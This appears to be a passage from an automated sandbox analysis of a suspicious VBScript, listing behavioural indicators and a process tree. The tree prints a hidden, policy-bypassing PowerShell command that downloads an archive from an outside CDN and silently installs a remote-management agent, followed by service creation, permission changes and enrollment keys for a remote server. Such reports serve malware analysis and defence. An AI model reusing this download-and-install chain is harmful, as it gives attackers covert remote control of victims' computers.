Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AAD Token Issuer\Certificates	osqueryd.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\PasspointTrustedRoots	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\PasspointTrustedRoots\CTLs	osqueryd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedAppRoot\CRLs	osqueryd.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
776	powershell.exe
776	powershell.exe
776	powershell.exe
2304	powershell.exe
2304	powershell.exe
5872	openframe-client.exe
5872	openframe-client.exe
5872	openframe-client.exe
5872	openframe-client.exe
5872	openframe-client.exe
5872	openframe-client.exe
3468	agent.exe
3468	agent.exe
5872	openframe-client.exe
5872	openframe-client.exe
5872	openframe-client.exe
5872	openframe-client.exe
5872	openframe-client.exe
5872	openframe-client.exe
5872	openframe-client.exe
5872	openframe-client.exe
5872	openframe-client.exe
5872	openframe-client.exe
5872	openframe-client.exe
5872	openframe-client.exe
5872	openframe-client.exe
5872	openframe-client.exe
5872	openframe-client.exe
2880	agent.exe
2880	agent.exe
2880	agent.exe
2880	agent.exe
2880	agent.exe
3752	osqueryd.exe
3752	osqueryd.exe
3752	osqueryd.exe
3752	osqueryd.exe
5872	openframe-client.exe
5872	openframe-client.exe
2084	powershell.exe
2084	powershell.exe
2084	powershell.exe
3752	osqueryd.exe
3752	osqueryd.exe
3752	osqueryd.exe
3752	osqueryd.exe
3212	osqueryd.exe
3212	osqueryd.exe
3212	osqueryd.exe
3212	osqueryd.exe
3212	osqueryd.exe
3212	osqueryd.exe
4836	powershell.exe
4836	powershell.exe
4836	powershell.exe
3752	osqueryd.exe
3752	osqueryd.exe
3752	osqueryd.exe
3752	osqueryd.exe
3752	osqueryd.exe
3752	osqueryd.exe
3752	osqueryd.exe
3752	osqueryd.exe
6504	agent.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
1880	msedgewebview2.exe
1880	msedgewebview2.exe
1880	msedgewebview2.exe
1880	msedgewebview2.exe
1880	msedgewebview2.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	776	powershell.exe
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeDebugPrivilege	3468	agent.exe
Token: SeDebugPrivilege	1092	taskkill.exe
Token: SeDebugPrivilege	2880	agent.exe
Token: SeDebugPrivilege	2084	powershell.exe
Token: SeDebugPrivilege	4836	powershell.exe
Token: SeDebugPrivilege	6504	agent.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
1652	agent.exe
1652	agent.exe
1652	agent.exe
1652	agent.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
1652	agent.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4600 wrote to memory of 776	4600	WScript.exe	91
PID 776 wrote to memory of 5904	776	powershell.exe	95
PID 5904 wrote to memory of 3136	5904	openframe-client.exe	96
PID 5904 wrote to memory of 2044	5904	openframe-client.exe	97
PID 5872 wrote to memory of 2304	5872	openframe-client.exe	99
PID 5872 wrote to memory of 4200	5872	openframe-client.exe	101
PID 5872 wrote to memory of 5452	5872	openframe-client.exe	103
PID 5872 wrote to memory of 3468	5872	openframe-client.exe	105
PID 5872 wrote to memory of 1092	5872	openframe-client.exe	107
PID 5872 wrote to memory of 2880	5872	openframe-client.exe	110
PID 2880 wrote to memory of 1476	2880	agent.exe	112
PID 2880 wrote to memory of 1584	2880	agent.exe	113
PID 5872 wrote to memory of 5540	5872	openframe-client.exe	114
PID 2880 wrote to memory of 3752	2880	agent.exe	116
PID 3752 wrote to memory of 3212	3752	osqueryd.exe	118
PID 5872 wrote to memory of 4716	5872	openframe-client.exe	119
PID 5720 wrote to memory of 2084	5720	agent.exe	123
PID 5872 wrote to memory of 1652	5872	openframe-client.exe	125
PID 5720 wrote to memory of 4836	5720	agent.exe	126
PID 1652 wrote to memory of 1880	1652	agent.exe	128
PID 1880 wrote to memory of 2176	1880	msedgewebview2.exe	129
PID 1880 wrote to memory of 2600	1880	msedgewebview2.exe	130
PID 1880 wrote to memory of 2600	1880	msedgewebview2.exe	130
PID 1880 wrote to memory of 2600	1880	msedgewebview2.exe	130
PID 1880 wrote to memory of 2600	1880	msedgewebview2.exe	130
PID 1880 wrote to memory of 5340	1880	msedgewebview2.exe	131
PID 1880 wrote to memory of 3356	1880	msedgewebview2.exe	132
PID 1880 wrote to memory of 3356	1880	msedgewebview2.exe	132
PID 1880 wrote to memory of 3356	1880	msedgewebview2.exe	132
PID 1880 wrote to memory of 5936	1880	msedgewebview2.exe	133
PID 1880 wrote to memory of 5936	1880	msedgewebview2.exe	133
PID 1880 wrote to memory of 5936	1880	msedgewebview2.exe	133
PID 1880 wrote to memory of 5936	1880	msedgewebview2.exe	133
PID 1880 wrote to memory of 5936	1880	msedgewebview2.exe	133
PID 2396 wrote to memory of 4644	2396	agent.exe	134
PID 5872 wrote to memory of 6504	5872	openframe-client.exe	136
PID 5872 wrote to memory of 4484	5872	openframe-client.exe	146
PID 1880 wrote to memory of 12220	1880	msedgewebview2.exe	165
PID 1880 wrote to memory of 12220	1880	msedgewebview2.exe	165
PID 1880 wrote to memory of 12220	1880	msedgewebview2.exe	165
PID 1880 wrote to memory of 15216	1880	msedgewebview2.exe	175
PID 1880 wrote to memory of 15216	1880	msedgewebview2.exe	175
PID 1880 wrote to memory of 15216	1880	msedgewebview2.exe	175
PID 1880 wrote to memory of 9100	1880	msedgewebview2.exe	178
PID 1880 wrote to memory of 7036	1880	msedgewebview2.exe	189
PID 1880 wrote to memory of 7036	1880	msedgewebview2.exe	189
PID 1880 wrote to memory of 7036	1880	msedgewebview2.exe	189
PID 1880 wrote to memory of 9212	1880	msedgewebview2.exe	201
PID 1880 wrote to memory of 9212	1880	msedgewebview2.exe	201
PID 1880 wrote to memory of 9212	1880	msedgewebview2.exe	201
PID 1880 wrote to memory of 15104	1880	msedgewebview2.exe	216
PID 1880 wrote to memory of 15104	1880	msedgewebview2.exe	216
PID 1880 wrote to memory of 15104	1880	msedgewebview2.exe	216
PID 1880 wrote to memory of 9056	1880	msedgewebview2.exe	233
PID 1880 wrote to memory of 9056	1880	msedgewebview2.exe	233
PID 1880 wrote to memory of 9056	1880	msedgewebview2.exe	233
PID 1880 wrote to memory of 2224	1880	msedgewebview2.exe	252
PID 1880 wrote to memory of 2224	1880	msedgewebview2.exe	252
PID 1880 wrote to memory of 2224	1880	msedgewebview2.exe	252
PID 1880 wrote to memory of 1296	1880	msedgewebview2.exe	272
PID 1880 wrote to memory of 1296	1880	msedgewebview2.exe	272
PID 1880 wrote to memory of 1296	1880	msedgewebview2.exe	272
PID 1880 wrote to memory of 15720	1880	msedgewebview2.exe	292
PID 1880 wrote to memory of 15720	1880	msedgewebview2.exe	292

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Set-Location ~; Remove-Item -Path 'openframe-client.zip','openframe-client.exe' -Force -ErrorAction SilentlyContinue; Invoke-WebRequest -Uri 'https://zulponame.b-cdn.net/huggingface/openframe-client_windows.zip' -OutFile 'openframe-client.zip'; Expand-Archive -Path 'openframe-client.zip' -DestinationPath '.' -Force; .\openframe-client.exe install --serverUrl=afultraquantum.openframe.ai --initialKey=oII-gWuNsdI1lZ7mEsPu9AO7rqVsY4b0 --orgId=a0c08a54-6ec9-4bb4-9d03-aa2ed7a077e7 --userId=a57f33dc-b7dd-4e13-8cc3-a3dc35af453b"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:776
- - C:\Users\Admin\openframe-client.exe
    "C:\Users\Admin\openframe-client.exe" install --serverUrl=afultraquantum.openframe.ai --initialKey=oII-gWuNsdI1lZ7mEsPu9AO7rqVsY4b0 --orgId=a0c08a54-6ec9-4bb4-9d03-aa2ed7a077e7 --userId=a57f33dc-b7dd-4e13-8cc3-a3dc35af453b
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:5904
  - - C:\Windows\system32\sc.exe
      "sc.exe" create com.openframe.client type= own start= Auto error= normal binpath= "\"C:\Program Files\OpenFrame\bin\openframe-client.exe\" run-as-service" displayname= com.openframe.client
      4⤵
      Launches sc.exe
      PID:3136
  - - C:\Windows\system32\sc.exe
      "sc.exe" start com.openframe.client
      4⤵
      Launches sc.exe
      PID:2044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4772

C:\Program Files\OpenFrame\bin\openframe-client.exe
"C:\Program Files\OpenFrame\bin\openframe-client.exe" run-as-service
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\ProgramData\OpenFrame\ofcmd_878f41c5c66542d38df1eb57edb0f9ca.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2304
- C:\Windows\system32\takeown.exe
  "takeown" /F C:\ProgramData\OpenFrame\fleetmdm-agent\osqueryd.exe /A
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4200
- C:\Windows\system32\icacls.exe
  "icacls" C:\ProgramData\OpenFrame\fleetmdm-agent\osqueryd.exe /inheritance:r /grant:r *S-1-5-18:(F) *S-1-5-32-544:(F) *S-1-5-32-545:(RX)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:5452
- C:\ProgramData\OpenFrame\fleetmdm-agent\agent.exe
  "C:\ProgramData\OpenFrame\fleetmdm-agent\agent.exe" uuid --openframe-mode --openframe-osquery-path C:\ProgramData\OpenFrame\fleetmdm-agent\osqueryd.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3468
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /PID 3468 /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1092
- C:\ProgramData\OpenFrame\fleetmdm-agent\agent.exe
  "C:\ProgramData\OpenFrame\fleetmdm-agent\agent.exe" --fleet-url https://afultraquantum.openframe.ai --enroll-secret uc+0JpSe2E8CGfiBbnaOhjIGzeEEcj6g --insecure --disable-updates --openframe-mode --openframe-secret 12345678901234567890123456789012 --openframe-osquery-path C:\ProgramData\OpenFrame\fleetmdm-agent\osqueryd.exe --openframe-token-path C:\ProgramData\OpenFrame\secured\shared_token.enc
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\ProgramData\OpenFrame\fleetmdm-agent\osqueryd.exe
    C:\ProgramData\OpenFrame\fleetmdm-agent\osqueryd.exe --version
    3⤵
    - Executes dropped EXE
    PID:1476
- - C:\ProgramData\OpenFrame\fleetmdm-agent\osqueryd.exe
    C:\ProgramData\OpenFrame\fleetmdm-agent\osqueryd.exe -S --database_path "C:\Program Files\Orbit\osquery.db" --json " SELECT si.uuid, si.hardware_serial, si.hostname, si.computer_name, si.hardware_model, os.platform, os.platform_like, os.version as os_version, oi.instance_id, oi.version as osquery_version FROM system_info si, os_version os, osquery_info oi"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Checks processor information in registry
    PID:1584
- - C:\ProgramData\OpenFrame\fleetmdm-agent\osqueryd.exe
    C:\ProgramData\OpenFrame\fleetmdm-agent\osqueryd.exe "--pidfile=C:\Program Files\Orbit\osquery.pid" --extensions_socket=\\.\pipe\orbit-osquery-extension "--logger_path=C:\Program Files\Orbit\osquery_log" --enroll_secret_env ENROLL_SECRET --tls_hostname=afultraquantum.openframe.ai --enroll_tls_endpoint=/api/v1/osquery/enroll --config_plugin=tls --config_tls_endpoint=/api/v1/osquery/config --config_refresh=60 --disable_distributed=false --distributed_plugin=tls --distributed_tls_max_attempts=10 --distributed_tls_read_endpoint=/api/v1/osquery/distributed/read --distributed_tls_write_endpoint=/api/v1/osquery/distributed/write --logger_plugin=tls,filesystem --logger_tls_endpoint=/api/v1/osquery/log --disable_carver=false --carver_disable_function=false --carver_start_endpoint=/api/v1/osquery/carve/begin --carver_continue_endpoint=/api/v1/osquery/carve/block --carver_block_size=8000000 --force --host-identifier uuid --database_path "C:\Program Files\Orbit\osquery.db" --openframe-mode true --openframe-secret 12345678901234567890123456789012 --openframe-token-path C:\ProgramData\OpenFrame\secured\shared_token.enc
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3752
  - - C:\ProgramData\OpenFrame\fleetmdm-agent\osqueryd.exe
      C:\ProgramData\OpenFrame\fleetmdm-agent\osqueryd.exe "--pidfile=C:\Program Files\Orbit\osquery.pid" --extensions_socket=\\.\pipe\orbit-osquery-extension "--logger_path=C:\Program Files\Orbit\osquery_log" --enroll_secret_env ENROLL_SECRET --tls_hostname=afultraquantum.openframe.ai --enroll_tls_endpoint=/api/v1/osquery/enroll --config_plugin=tls --config_tls_endpoint=/api/v1/osquery/config --config_refresh=60 --disable_distributed=false --distributed_plugin=tls --distributed_tls_max_attempts=10 --distributed_tls_read_endpoint=/api/v1/osquery/distributed/read --distributed_tls_write_endpoint=/api/v1/osquery/distributed/write --logger_plugin=tls,filesystem --logger_tls_endpoint=/api/v1/osquery/log --disable_carver=false --carver_disable_function=false --carver_start_endpoint=/api/v1/osquery/carve/begin --carver_continue_endpoint=/api/v1/osquery/carve/block --carver_block_size=8000000 --force --host-identifier uuid --database_path "C:\Program Files\Orbit\osquery.db" --openframe-mode --openframe-secret 12345678901234567890123456789012 --openframe-token-path C:\ProgramData\OpenFrame\secured\shared_token.enc true
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      Drops file in Windows directory
      Checks processor information in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Modifies system certificate store
      Suspicious behavior: EnumeratesProcesses
      PID:3212
- C:\ProgramData\OpenFrame\meshcentral-agent\agent.exe
  "C:\ProgramData\OpenFrame\meshcentral-agent\agent.exe" -install --openframe-mode --openframe-secret 12345678901234567890123456789012 --openframe-token-path C:\ProgramData\OpenFrame\secured\shared_token.enc
  2⤵
  - Sets service image path in registry
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:5540
- C:\ProgramData\OpenFrame\meshcentral-agent\agent.exe
  "C:\ProgramData\OpenFrame\meshcentral-agent\agent.exe" -nodeid-base64
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:4716
- C:\ProgramData\OpenFrame\openframe-chat\agent.exe
  "C:\ProgramData\OpenFrame\openframe-chat\agent.exe" --serverUrl https://afultraquantum.openframe.ai --openframe-secret 12345678901234567890123456789012 --openframe-token-path C:\ProgramData\OpenFrame\secured\shared_token.enc --machineId f58a62db-1c3f-469d-9eb6-3cf2eba4be31 --background
  2⤵
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Modifies registry class
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1652
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --autoplay-policy=no-user-gesture-required --disable-features=msWebOOUI,msPdfOOUI,msSmartScreenProtection --enable-features=MojoIpcz --lang=en-US --accept-lang=en-US --mojo-named-platform-channel-pipe=1652.3112.13404877547017539327 /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of WriteProcessMemory
    PID:1880
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView /prefetch:4 /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=122.0.6261.139 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=122.0.2365.106 --initial-client-data=0x184,0x188,0x18c,0x160,0x194,0x7ff996145fd8,0x7ff996145fe4,0x7ff996145ff0
      4⤵
      PID:2176
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1772 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:2 /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c
      4⤵
      PID:2600
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=2084 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:3 /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c
      4⤵
      PID:5340
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=2232 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c
      4⤵
      PID:3356
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --autoplay-policy=no-user-gesture-required --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3564 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c /prefetch:1
      4⤵
      PID:5936
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=4532 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c
      4⤵
      PID:12220
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=4552 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c
      4⤵
      PID:15216
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=4628 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c
      4⤵
      PID:9100
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=2728 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c
      4⤵
      PID:7036
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=4392 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c
      4⤵
      PID:9212
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=4672 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c
      4⤵
      PID:15104
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=4128 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c
      4⤵
      PID:9056
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=4556 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c
      4⤵
      PID:2224
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
